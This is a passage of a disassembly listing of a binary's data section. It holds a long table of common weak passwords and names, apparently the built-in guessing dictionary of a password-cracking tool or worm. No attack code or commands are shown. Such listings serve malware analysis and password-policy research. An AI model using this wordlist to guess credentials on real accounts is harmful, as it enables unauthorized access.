aRainbow	db 'rainbow',0          ; DATA XREF: .data:0042FE2Co
aRain		db 'rain',0             ; DATA XREF: .data:0042FE28o
		align 4
aRaid		db 'raid',0             ; DATA XREF: .data:0042FE24o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .data:0042FE20o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: .data:0042FE1Co
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .data:0042FE18o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .data:0042FE14o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0042FE10o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .data:0042FE0Co
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .data:0042FE08o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .data:0042FE04o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .data:0042FE00o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .data:0042FDFCo
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .data:0042FDF8o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: .data:0042FDF4o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: .data:0042FDF0o
aPuke		db 'puke',0             ; DATA XREF: .data:0042FDECo
		align 10h
aPuck		db 'puck',0             ; DATA XREF: .data:0042FDE8o
		align 4
aPublic		db 'public',0           ; DATA XREF: .data:0042FDE4o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: .data:0042FDE0o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .data:0042FDDCo
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .data:0042FDD8o
		align 10h
aProtect	db 'protect',0          ; DATA XREF: .data:0042FDD4o
aPrompt		db 'prompt',0           ; DATA XREF: .data:0042FDD0o
		align 10h
aProgram	db 'program',0          ; DATA XREF: .data:0042FDCCo
aProfile	db 'profile',0          ; DATA XREF: .data:0042FDC8o
aProfesso	db 'professo',0         ; DATA XREF: .data:0042FDC4o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .data:0042FDC0o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: .data:0042FDBCo
aPrivs		db 'privs',0            ; DATA XREF: .data:0042FDB8o
		align 4
aPrivate	db 'private',0          ; DATA XREF: .data:0042FDB4o
aPriv		db 'priv',0             ; DATA XREF: .data:0042FDB0o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: .data:0042FDACo
aPrinceto	db 'princeto',0         ; DATA XREF: .data:0042FDA8o
		align 4
aPrince		db 'prince',0           ; DATA XREF: .data:0042FDA4o
		align 4
aPresto		db 'presto',0           ; DATA XREF: .data:0042FDA0o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .data:0042FD9Co
aPrecious	db 'precious',0         ; DATA XREF: .data:0042FD98o
		align 10h
aPraise		db 'praise',0           ; DATA XREF: .data:0042FD94o
		align 4
aPower		db 'power',0            ; DATA XREF: .data:0042FD90o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: .data:0042FD8Co
		align 4
aPost		db 'post',0             ; DATA XREF: .data:0042FD88o
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: .data:0042FD84o
aPorno		db 'porno',0            ; DATA XREF: .data:0042FD80o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: .data:0042FD7Co
		align 4
aPork		db 'pork',0             ; DATA XREF: .data:0042FD78o
		align 10h
aPoor		db 'poor',0             ; DATA XREF: .data:0042FD74o
		align 4
aPoop		db 'poop',0             ; DATA XREF: .data:0042FD70o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: .data:0042FD6Co
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .data:0042FD68o
		align 4
aPolly		db 'polly',0            ; DATA XREF: .data:0042FD64o
		align 10h
aPolice		db 'police',0           ; DATA XREF: .data:0042FD60o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: .data:0042FD5Co
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: .data:0042FD58o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .data:0042FD54o
		align 4
aPlover		db 'plover',0           ; DATA XREF: .data:0042FD50o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .data:0042FD4Co
aPlane		db 'plane',0            ; DATA XREF: .data:0042FD48o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .data:0042FD44o
		align 4
aPiss		db 'piss',0             ; DATA XREF: .data:0042FD40o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .data:0042FD3Co
aPimp		db 'pimp',0             ; DATA XREF: .data:0042FD38o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .data:0042FD34o
		align 4
aPick		db 'pick',0             ; DATA XREF: .data:0042FD30o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .data:0042FD2Co
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .data:0042FD28o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .data:0042FD24o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .data:0042FD20o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .data:0042FD1Co
		align 4
aPhone		db 'phone',0            ; DATA XREF: .data:0042FD18o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .data:0042FD14o
aPhilip		db 'philip',0           ; DATA XREF: .data:0042FD10o
		align 4
aPhil		db 'phil',0             ; DATA XREF: .data:0042FD0Co
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0042FD08o
		align 4
aPete		db 'pete',0             ; DATA XREF: .data:0042FD04o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .data:0042FD00o
aPersona	db 'persona',0          ; DATA XREF: .data:0042FCFCo
aPersimmo	db 'persimmo',0         ; DATA XREF: .data:0042FCF8o
		align 10h
aPermit		db 'permit',0           ; DATA XREF: .data:0042FCF4o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: .data:0042FCF0o
aPercolat	db 'percolat',0         ; DATA XREF: .data:0042FCECo
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .data:0042FCE8o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .data:0042FCE4o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .data:0042FCE0o
aPenthous	db 'penthous',0         ; DATA XREF: .data:0042FCDCo
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: .data:0042FCD8o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: .data:0042FCD4o
		align 4
aPenname	db 'penname',0          ; DATA XREF: .data:0042FCD0o
aPenis		db 'penis',0            ; DATA XREF: .data:0042FCCCo
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: .data:0042FCC8o
aPenelope	db 'penelope',0         ; DATA XREF: .data:0042FCC4o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .data:0042FCC0o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .data:0042FCBCo
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .data:0042FCB8o
aPaula		db 'paula',0            ; DATA XREF: .data:0042FCB4o
		align 4
aPatty		db 'patty',0            ; DATA XREF: .data:0042FCB0o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .data:0042FCACo
aPatricia	db 'patricia',0         ; DATA XREF: .data:0042FCA8o
		align 4
aPaste		db 'paste',0            ; DATA XREF: .data:0042FCA4o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: .data:0042FCA0o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .data:0042FC9Co
		align 4
aPapers		db 'papers',0           ; DATA XREF: .data:0042FC98o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .data:0042FC94o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .data:0042FC90o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .data:0042FC8Co
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .data:0042FC88o
		align 10h
aPaint		db 'paint',0            ; DATA XREF: .data:0042FC84o
		align 4
aPainless	db 'painless',0         ; DATA XREF: .data:0042FC80o
		align 4
aPacker		db 'packer',0           ; DATA XREF: .data:0042FC7Co
		align 4
aPackard	db 'packard',0          ; DATA XREF: .data:0042FC78o
aPacific	db 'pacific',0          ; DATA XREF: .data:0042FC74o
aOxford		db 'oxford',0           ; DATA XREF: .data:0042FC70o
		align 4
aOutside	db 'outside',0          ; DATA XREF: .data:0042FC6Co
aOutput		db 'output',0           ; DATA XREF: .data:0042FC68o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .data:0042FC64o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .data:0042FC60o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: .data:0042FC5Co
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: .data:0042FC58o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: .data:0042FC54o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: .data:0042FC50o
		align 4
aOrca		db 'orca',0             ; DATA XREF: .data:0042FC4Co
		align 10h
aOperator	db 'operator',0         ; DATA XREF: .data:0042FC48o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .data:0042FC44o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: .data:0042FC40o
		align 4
aOpening	db 'opening',0          ; DATA XREF: .data:0042FC3Co
aOmega		db 'omega',0            ; DATA XREF: .data:0042FC34o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .data:0042FC30o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .data:0042FC2Co
		align 4
aOldage		db 'oldage',0           ; DATA XREF: .data:0042FC28o
		align 10h
aOkay		db 'okay',0             ; DATA XREF: .data:0042FC24o
		align 4
aOffice		db 'office',0           ; DATA XREF: .data:0042FC20o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: .data:0042FC1Co
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: .data:0042FC18o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .data:0042FC14o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: .data:0042FC10o
aNuts		db 'nuts',0             ; DATA XREF: .data:0042FC0Co
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: .data:0042FC08o
		align 4
aNumber		db 'number',0           ; DATA XREF: .data:0042FC04o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:0042FC00o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .data:0042FBFCo
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .data:0042FBF8o
		align 4
aNude		db 'nude',0             ; DATA XREF: .data:0042FBF4o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .data:0042FBF0o
aNoxious	db 'noxious',0          ; DATA XREF: .data:0042FBECo
aNovember	db 'november',0         ; DATA XREF: .data:0042FBE8o
		align 10h
aNovel		db 'novel',0            ; DATA XREF: .data:0042FBE4o
		align 4
aNova		db 'nova',0             ; DATA XREF: .data:0042FBE0o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: .data:0042FBDCo
		align 4
aNotes		db 'notes',0            ; DATA XREF: .data:0042FBD8o
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: .data:0042FBD4o
		align 4
aNode		db 'node',0             ; DATA XREF: .data:0042FBD0o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: .data:0042FBCCo
		align 4
aNoble		db 'noble',0            ; DATA XREF: .data:0042FBC8o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: .data:0042FBC4o
		align 4
aNita		db 'nita',0             ; DATA XREF: .data:0042FBC0o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: .data:0042FBBCo
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .data:0042FBB8o
		align 4
aNight		db 'night',0            ; DATA XREF: .data:0042FBB4o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: .data:0042FBB0o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .data:0042FBACo
		align 4
aNice		db 'nice',0             ; DATA XREF: .data:0042FBA8o
		align 4
aNext		db 'next',0             ; DATA XREF: .data:0042FBA4o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .data:0042FBA0o
aNewton		db 'newton',0           ; DATA XREF: .data:0042FB9Co
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .data:0042FB98o
		align 10h
aNews		db 'news',0             ; DATA XREF: .data:0042FB94o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: .data:0042FB90o
aNetwork_0	db 'network',0          ; DATA XREF: .data:0042FB8Co
aNetscape	db 'netscape',0         ; DATA XREF: .data:0042FB88o
		align 4
aNess		db 'ness',0             ; DATA XREF: .data:0042FB84o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .data:0042FB80o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .data:0042FB7Co
		align 10h
aNavy		db 'navy',0             ; DATA XREF: .data:0042FB78o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: .data:0042FB74o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: .data:0042FB70o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .data:0042FB6Co
		align 4
aName		db 'name',0             ; DATA XREF: .data:0042FB68o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .data:0042FB64o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .data:0042FB60o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .data:0042FB5Co
aMsdos		db 'msdos',0            ; DATA XREF: .data:0042FB58o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .data:0042FB54o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .data:0042FB50o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .data:0042FB4Co
		align 4
aMovie		db 'movie',0            ; DATA XREF: .data:0042FB48o
		align 4
aMove		db 'move',0             ; DATA XREF: .data:0042FB44o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .data:0042FB40o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .data:0042FB3Co
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: .data:0042FB38o
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: .data:0042FB34o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .data:0042FB30o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: .data:0042FB2Co
		align 10h
aMorris		db 'morris',0           ; DATA XREF: .data:0042FB28o
		align 4
aMorley		db 'morley',0           ; DATA XREF: .data:0042FB24o
		align 10h
aMore		db 'more',0             ; DATA XREF: .data:0042FB20o
		align 4
aMoose		db 'moose',0            ; DATA XREF: .data:0042FB1Co
		align 10h
aMoor		db 'moor',0             ; DATA XREF: .data:0042FB18o
		align 4
aMoom		db 'moom',0             ; DATA XREF: .data:0042FB14o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: .data:0042FB10o
		align 4
aMonday		db 'monday',0           ; DATA XREF: .data:0042FB0Co
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: .data:0042FB08o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: .data:0042FB04o
		align 10h
aModem		db 'modem',0            ; DATA XREF: .data:0042FB00o
		align 4
aMode		db 'mode',0             ; DATA XREF: .data:0042FAFCo
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: .data:0042FAF8o
		align 4
aMission	db 'mission',0          ; DATA XREF: .data:0042FAF4o
aMisfit		db 'misfit',0           ; DATA XREF: .data:0042FAF0o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: .data:0042FAECo
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: .data:0042FAE8o
aMine		db 'mine',0             ; DATA XREF: .data:0042FAE4o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .data:0042FAE0o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: .data:0042FADCo
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .data:0042FAD8o
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: .data:0042FAD4o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .data:0042FAD0o
		align 4
aMicro		db 'micro',0            ; DATA XREF: .data:0042FACCo
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: .data:0042FAC8o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: .data:0042FAC4o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .data:0042FAC0o
aMichelan	db 'michelan',0         ; DATA XREF: .data:0042FABCo
		align 4
aMichel		db 'michel',0           ; DATA XREF: .data:0042FAB8o
		align 10h
aMichael	db 'michael',0          ; DATA XREF: .data:0042FAB4o
aMice		db 'mice',0             ; DATA XREF: .data:0042FAB0o
		align 10h
aMets		db 'mets',0             ; DATA XREF: .data:0042FAACo
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: .data:0042FAA8o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .data:0042FAA4o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: .data:0042FAA0o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: .data:0042FA9Co
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: .data:0042FA98o
aMenu		db 'menu',0             ; DATA XREF: .data:0042FA94o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: .data:0042FA90o
		align 4
aMemory		db 'memory',0           ; DATA XREF: .data:0042FA8Co
		align 10h
aMember		db 'member',0           ; DATA XREF: .data:0042FA88o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: .data:0042FA84o
aMellon		db 'mellon',0           ; DATA XREF: .data:0042FA80o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: .data:0042FA7Co
aMegan		db 'megan',0            ; DATA XREF: .data:0042FA78o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: .data:0042FA74o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .data:0042FA70o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: .data:0042FA6Co
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: .data:0042FA68o
aMath		db 'math',0             ; DATA XREF: .data:0042FA64o
		align 4
aMaster		db 'master',0           ; DATA XREF: .data:0042FA60o
		align 10h
aMason		db 'mason',0            ; DATA XREF: .data:0042FA5Co
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0042FA58o
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: .data:0042FA54o
		align 4
aMarty		db 'marty',0            ; DATA XREF: .data:0042FA50o
		align 10h
aMars		db 'mars',0             ; DATA XREF: .data:0042FA4Co
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: .data:0042FA48o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .data:0042FA44o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .data:0042FA40o
		align 4
aMark		db 'mark',0             ; DATA XREF: .data:0042FA3Co
		align 4
aMarines	db 'marines',0          ; DATA XREF: .data:0042FA38o
aMarijuan	db 'marijuan',0         ; DATA XREF: .data:0042FA34o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: .data:0042FA30o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .data:0042FA2Co
aMaria		db 'maria',0            ; DATA XREF: .data:0042FA28o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .data:0042FA24o
		align 4
aMarci		db 'marci',0            ; DATA XREF: .data:0042FA20o
		align 4
aMara		db 'mara',0             ; DATA XREF: .data:0042FA1Co
		align 4
aManager	db 'manager',0          ; DATA XREF: .data:0042FA18o
aMana		db 'mana',0             ; DATA XREF: .data:0042FA14o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .data:0042FA10o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .data:0042FA0Co
aMaint		db 'maint',0            ; DATA XREF: .data:0042FA08o
		align 4
aMail		db 'mail',0             ; DATA XREF: .data:0042FA04o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .data:0042FA00o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .data:0042F9FCo
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .data:0042F9F8o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .data:0042F9F4o
		align 4
aMack		db 'mack',0             ; DATA XREF: .data:0042F9F0o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .data:0042F9ECo
		align 4
aMachine	db 'machine',0          ; DATA XREF: .data:0042F9E8o
aLynne		db 'lynne',0            ; DATA XREF: .data:0042F9E4o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: .data:0042F9E0o
		align 10h
aLust		db 'lust',0             ; DATA XREF: .data:0042F9DCo
		align 4
aLuke		db 'luke',0             ; DATA XREF: .data:0042F9D8o
		align 10h
aLude		db 'lude',0             ; DATA XREF: .data:0042F9D4o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: .data:0042F9D0o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: .data:0042F9CCo
		align 4
aLuck		db 'luck',0             ; DATA XREF: .data:0042F9C8o
		align 10h
aLover		db 'lover',0            ; DATA XREF: .data:0042F9C4o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: .data:0042F9C0o
aLouis		db 'louis',0            ; DATA XREF: .data:0042F9BCo
		align 4
aLoser		db 'loser',0            ; DATA XREF: .data:0042F9B8o
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: .data:0042F9B4o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .data:0042F9B0o
		align 4
aLori		db 'lori',0             ; DATA XREF: .data:0042F9ACo
		align 4
aLore		db 'lore',0             ; DATA XREF: .data:0042F9A8o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .data:0042F9A4o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .data:0042F9A0o
		align 4
aLois		db 'lois',0             ; DATA XREF: .data:0042F99Co
		align 4
aLogout		db 'logout',0           ; DATA XREF: .data:0042F998o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .data:0042F994o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: .data:0042F990o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: .data:0042F98Co
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .data:0042F988o
aLock		db 'lock',0             ; DATA XREF: .data:0042F984o
		align 4
aLoad		db 'load',0             ; DATA XREF: .data:0042F980o
		align 4
aLive		db 'live',0             ; DATA XREF: .data:0042F97Co
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .data:0042F978o
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: .data:0042F974o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: .data:0042F970o
		align 10h
aLips		db 'lips',0             ; DATA XREF: .data:0042F96Co
		align 4
aLion		db 'lion',0             ; DATA XREF: .data:0042F968o
		align 10h
aLink		db 'link',0             ; DATA XREF: .data:0042F964o
		align 4
aLinda		db 'linda',0            ; DATA XREF: .data:0042F960o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: .data:0042F95Co
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .data:0042F958o
		align 4
aLima		db 'lima',0             ; DATA XREF: .data:0042F954o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .data:0042F950o
		align 4
aLight		db 'light',0            ; DATA XREF: .data:0042F94Co
		align 10h
aLife		db 'life',0             ; DATA XREF: .data:0042F948o
		align 4
aLicker		db 'licker',0           ; DATA XREF: .data:0042F944o
		align 10h
aLick		db 'lick',0             ; DATA XREF: .data:0042F940o
		align 4
aLibrary	db 'library',0          ; DATA XREF: .data:0042F93Co
aLiberal	db 'liberal',0          ; DATA XREF: .data:0042F938o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .data:0042F934o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .data:0042F930o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:0042F92Co
aLeslie		db 'leslie',0           ; DATA XREF: .data:0042F928o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .data:0042F924o
aLeroy		db 'leroy',0            ; DATA XREF: .data:0042F920o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .data:0042F91Co
		align 4
aLegal		db 'legal',0            ; DATA XREF: .data:0042F918o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .data:0042F914o
		align 4
aLeft		db 'left',0             ; DATA XREF: .data:0042F910o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: .data:0042F90Co
		align 4
aLeah		db 'leah',0             ; DATA XREF: .data:0042F908o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .data:0042F904o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .data:0042F900o
aLava		db 'lava',0             ; DATA XREF: .data:0042F8FCo
		align 4
aLaura		db 'laura',0            ; DATA XREF: .data:0042F8F8o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .data:0042F8F4o
		align 4
aLarry		db 'larry',0            ; DATA XREF: .data:0042F8F0o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .data:0042F8ECo
		align 4
aLara		db 'lara',0             ; DATA XREF: .data:0042F8E8o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .data:0042F8E4o
		align 4
aLana		db 'lana',0             ; DATA XREF: .data:0042F8E0o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .data:0042F8DCo
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: .data:0042F8D8o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: .data:0042F8D4o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: .data:0042F8D0o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: .data:0042F8CCo
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: .data:0042F8C8o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: .data:0042F8C4o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .data:0042F8C0o
aKristie	db 'kristie',0          ; DATA XREF: .data:0042F8BCo
aKristi		db 'kristi',0           ; DATA XREF: .data:0042F8B8o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .data:0042F8B4o
aKrista		db 'krista',0           ; DATA XREF: .data:0042F8B0o
		align 4
aKnown		db 'known',0            ; DATA XREF: .data:0042F8ACo
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .data:0042F8A8o
		align 10h
aKnight		db 'knight',0           ; DATA XREF: .data:0042F8A4o
		align 4
aKnife		db 'knife',0            ; DATA XREF: .data:0042F8A0o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: .data:0042F89Co
aKitten		db 'kitten',0           ; DATA XREF: .data:0042F898o
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: .data:0042F894o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .data:0042F890o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .data:0042F88Co
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: .data:0042F888o
		align 4
aKing		db 'king',0             ; DATA XREF: .data:0042F884o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: .data:0042F880o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .data:0042F87Co
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .data:0042F878o
		align 10h
aKill		db 'kill',0             ; DATA XREF: .data:0042F874o
		align 4
aKids		db 'kids',0             ; DATA XREF: .data:0042F870o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: .data:0042F86Co
aKeyin		db 'keyin',0            ; DATA XREF: .data:0042F868o
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: .data:0042F864o
aKewl		db 'kewl',0             ; DATA XREF: .data:0042F860o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: .data:0042F85Co
		align 4
aKerry		db 'kerry',0            ; DATA XREF: .data:0042F858o
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: .data:0042F854o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: .data:0042F850o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: .data:0042F84Co
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .data:0042F848o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: .data:0042F844o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: .data:0042F840o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: .data:0042F83Co
aKatina		db 'katina',0           ; DATA XREF: .data:0042F838o
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: .data:0042F834o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: .data:0042F830o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .data:0042F82Co
		align 10h
aKate		db 'kate',0             ; DATA XREF: .data:0042F828o
		align 4
aKatana		db 'katana',0           ; DATA XREF: .data:0042F824o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: .data:0042F820o
		align 4
aKarie		db 'karie',0            ; DATA XREF: .data:0042F81Co
		align 10h
aKaren		db 'karen',0            ; DATA XREF: .data:0042F818o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: .data:0042F814o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: .data:0042F810o
aJune		db 'june',0             ; DATA XREF: .data:0042F80Co
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: .data:0042F808o
		align 4
aJulie		db 'julie',0            ; DATA XREF: .data:0042F804o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: .data:0042F800o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: .data:0042F7FCo
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: .data:0042F7F8o
		align 4
